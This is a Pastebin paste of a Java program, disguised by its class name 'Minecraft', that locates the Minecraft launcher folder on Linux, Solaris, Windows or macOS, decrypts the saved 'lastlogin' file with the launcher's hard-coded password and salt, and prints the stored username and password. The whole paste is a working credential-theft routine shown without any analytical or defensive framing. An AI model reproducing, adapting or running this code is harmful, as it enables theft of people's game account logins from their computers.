Advertisement
Guest User

Untitled

a guest
Oct 5th, 2017
268
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.12 KB | None | 0 0
  1.  
  2. import java.io.*;
  3. import java.net.*;
  4. import java.util.*;
  5.  
  6. import javax.crypto.*;
  7. import javax.crypto.spec.*;
  8.  
  9. public class Minecraft {
  10.  
  11. static byte[] salt = new byte[8];
  12. public static String homePath = System.getProperty("user.home", ".");
  13. static File wD;
  14. static String aD = System.getenv("APPDATA");
  15. static String user;
  16. static String pass = "";
  17.  
  18. public static File getwD() {
  19. switch (getPF()) {
  20. case 1:
  21. case 2:
  22. wD = new File(homePath, ".minecraft/");
  23. break;
  24. case 3:
  25. if (aD != null) {
  26. wD = new File(aD, ".minecraft/");
  27. } else {
  28. wD = new File(homePath, ".minecraft/");
  29. }
  30. break;
  31. case 4:
  32. wD = new File(homePath, "Library/Application Support/minecraft");
  33. break;
  34. default:
  35. wD = new File(homePath, ".minecraft/");
  36. }
  37. return wD;
  38. }
  39.  
  40. private static int getPF() {
  41. String osName = System.getProperty("os.name").toLowerCase();
  42. if (osName.contains("linux")) {
  43. return 1;
  44. }
  45. if (osName.contains("unix")) {
  46. return 1;
  47. }
  48. if (osName.contains("solaris")) {
  49. return 2;
  50. }
  51. if (osName.contains("sunos")) {
  52. return 2;
  53. }
  54. if (osName.contains("win")) {
  55. return 3;
  56. }
  57. if (osName.contains("mac")) {
  58. return 4;
  59. }
  60. return 5;
  61. }
  62.  
  63. public static void main(String[] args) {
  64. System.out.println(fetchCreds());
  65. }
  66. public static String fetchCreds(){
  67. try {
  68. Random random = new Random(43287234L);
  69. byte[] salt = new byte[8];
  70. random.nextBytes(salt);
  71. PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
  72. SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
  73. Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
  74. cipher.init(2, pbeKey, pbeParamSpec);
  75. File passFile = new File(getwD(), "lastlogin");
  76. DataInputStream dis = null;
  77. {
  78. dis = new DataInputStream(new CipherInputStream(new FileInputStream(passFile), cipher));
  79. }
  80. user = dis.readUTF();
  81. pass = dis.readUTF();
  82. dis.close();
  83. return user+":"+pass;
  84. } catch (Exception ex) {
  85. ex.printStackTrace();
  86. }
  87. return user+":"+pass;
  88. }
  89. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement